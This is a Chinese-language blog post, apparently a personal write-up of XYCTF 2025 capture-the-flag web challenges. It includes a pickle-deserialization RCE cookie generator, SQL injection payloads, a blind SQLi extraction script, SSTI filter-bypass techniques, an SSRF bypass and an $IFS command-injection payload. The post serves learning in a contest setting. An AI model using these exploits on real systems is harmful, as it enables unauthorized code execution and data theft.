XYCTF2025web个人复盘

Wang1r Lv3

这次参与XYCTF,虽然没有怎么参与(只认真打了一天),但是可以看出里面是有很多东西值得学习的,所以还是记录并复现一下吧。

Web

题解

Signin

这道题是我唯一做出来的web题,虽然总结来看考点还是比较简单而清晰的,但我还是做了很久。()

首先分析源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
try:
with open('../../secret.txt', 'r') as f:
secret = f.read()
except:
print("No secret file found, using default secret")
secret = "secret"
app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=5000, debug=False)


可以得知这里有secret.txt,于是我们用目录穿越去读取它,得到secret的值。

由于对目录穿越的过滤很简单,所以可以轻松使用./.././../的形式绕过。

然后就是分析bottle框架的session生成机制了。

由于我们获得了secret的值,所以可以直接生成想要的合法cookie,于是接下来就要看bottle是如何解析cookie的了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default

可以看到,里面用到了pickle.loads(),所以这样就可以利用pickle反序列化漏洞了。(其实这里分析了好久来着,完全没看出来呜呜)

写脚本生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os
import pickle
import base64
import hmac
class RCE:
def __reduce__(self):

cmd = "ls / > ./app.py"
return os.system, (cmd,)
malicious_obj = RCE()
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
pickled_data = pickle.dumps(malicious_obj, protocol=-1)
encoded_data = base64.b64encode(pickled_data)

sig = hmac.new(secret.encode(), encoded_data, "sha256").digest()
sig_encoded = base64.b64encode(sig)


cookie_value = f"!{sig_encoded.decode()}?{encoded_data.decode()}"

print("Malicious Cookie:", cookie_value)

然后读flag即可。

复现

Fate

这道题其实我没怎么看,因为看到SSRF的过滤,然后还看到sql,就觉得完全没有思路,于是放弃了。

看过题解之后,其实貌似并不那么难,但确实也都是我没涉及过的知识。

1
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")

这里的sql注入要利用到flask.request.get_json(),这个方法没有对传入的类型做检查,所以我们可以传入非字符串类型的变量。

1
python -c "a = [1]; print(f'test{a}')"

这时,程序会输出test[1],这便是可以利用的点。

所以当传入的code参数为["1') UNION SELECT FLAG FROM FLAG --","1"]这样的数组时,就会成功将执行代码修改为:

1
SELECT name FROM country WHERE code=UPPER('["1') UNION SELECT FLAG FROM FLAG --","1"]')

然后要解决的就是SSRF部分的问题:

1.在前面加入lamentxu.top,这个可以用@来绕过。
2.禁止了所有字母和.,那么我们使用2130706433来表示127.0.0.1。
3.必须要传入参数0为abcdef。使用二次URL编码绕过。

然后就可以进行注入了。

Now you see me 1

拿到附件之后首先要做的是找到程序源码,给出的代码中可以看到中间藏了一段代码,复制出来拿到真正的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)


其实可以很简单地看出是SSTI,但我在本地起了一个服务测试之后发现fenjing跑不出来,遂放弃。(或许需要找个机会恶补一下了,不能再当脚本小子了呜呜)

按照LAMENTXU大佬的官方题解:

先考虑传统继承链。但是由于缺少_,只能去尝试构造字符_,但是由于限制了单双引号和一些重要字符,无法获取到_。传统继承链打不了。

没有过滤request对象,但是可以发现request的常用逃逸参数(args,values这种)全被禁止。同时限死了单双引号,无法拼接,无法进行编码转换。

可以使用request.endpoint获取到当前路由的函数名,即r3al_ins1de_th0ught

从中,我们能获取字符’d’, ‘a’, ‘t’

注意到可以拼接出data。进而获取request.data,再在请求体中传入任意字符进行绕过。至此,我们可以获得任意字符。

可以知道需要根据特定的过滤来考虑不同的绕过与字符获取方式,仅靠自动化工具是无法解决所有问题的。

然后是reload被删除的方法:

1
2
3
4
5
import os
import importlib
del os.system
importlib.reload(os)
os.system('whoami')

最后需要注意的是要在语句的开头加入#}来闭合注释语句。

来自大佬的总结:总结如下:

1.#}闭合注释语句
2.request.endpoint找request.data
3.request.data从请求体中获取任意字符
4.通过拼接字符打继承链找到importlib的reload。分别reloados.popensubprocess.Popen
5.通过request打继承链找os打RCE

总觉得完完全全在抄大佬的博客呢(╥ω╥)

ezsql(手动滑稽)

这里看别人的博客没有太过详细的介绍,于是只能根据步骤一步步复现了

第一步是一个简单的万能密码登录,但是有过滤。

并不是很清楚具体过滤了什么,但是测试下来好像空格和符号都被过滤了。(不确定)

使用题解的payload:username=admin'%09OR%091=1#&password=1,用%09绕过空格过滤。

进入到后台,发现需要密钥

分析一下题解的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://gz.imxbt.cn:20347"
length = 30
res = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
for pos in range(1, length):
for char in chars:
sql = f"username=admin'%09OR%09substring((select%09secret%09FROM%09double_check%09limit%091%09offset%090)%09FROM%09{pos}%09FOR%091)='{char}'%23&password=1"
response = requests.post(url, data=sql, headers={'Content-Type': 'application/x-www-form-urlencoded'})
# print(response.text)
if '系统恶意登录' in response.text:
res += char
print(res)
break
else:
print('final ' + res)
print('finish')
exit()

解码后的Payload:

1
2
3
4
username=admin'	OR	substring(
(SELECT secret FROM double_check LIMIT 1 OFFSET 0)
FROM {pos} FOR 1
) = '{char}'#&password=1

将获取到的特定位置的字符与字符集对比,如果正确返回,则为成功,通过这种方式就可以得到secret:dtfrtkcc0czkoua9s

但是在此之前,我们需要通过相同的方式首先得到库名、表名和列名:

1
2
3
sql = f"username=admin'%09OR%09substring(database()%09FROM%09{pos}%09FOR%091)='{char}'%23&password=1" 
sql = f"username=admin'%09OR%09substring((select%09table_name%09FROM%09information_schema.tables%09where%09table_schema='testdb'%09limit%091%09offset%092)%09FROM%09{pos}%09FOR%091)='{char}'%23&password=1"
sql = f"username=admin'%09OR%09substring((select%09column_name%09FROM%09information_schema.columns%09where%09table_name='user'%09limit%091%09offset%090)%09FROM%09{pos}%09FOR%091)='{char}'%23&password=1"

得到管理员密钥之后登录进去,就有一个简单的无回显命令执行,发现有空格过滤,直接使用$IFS绕过即可,再将回显重定向到其他文件,即可读到flag。

payload:head$IFS/flag.txt$IFS>1.txt

ez_puzzle

本来以为是简单的前端题,结果发现js有点抽象,于是没写出来,按照官方题解的思路来一遍吧:

禁用F12和右键,所以在更多工具中找到开发者工具:

发现有debugger,直接下断点过掉:

然后可以开始分析了。

原本我的思路是分析获胜判断条件,但发现混淆太复杂,连ai都没分析出来,于是就放弃了。

但是这题既然与时间有关——限定两秒内,所以就可以从时间下手,全局搜索time,能够找到starttimeendtime,设定starttime为一个很大的数,就可以实现跳过时间判断:

再拼好拼图就可以了:

  • 标题: XYCTF2025web个人复盘
  • 作者: Wang1r
  • 创建于 : 2025-04-07 20:15:39
  • 更新于 : 2025-04-08 14:02:31
  • 链接: https://wang1rrr.github.io/2025/04/07/XYCTF2025web个人复盘/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
XYCTF2025web个人复盘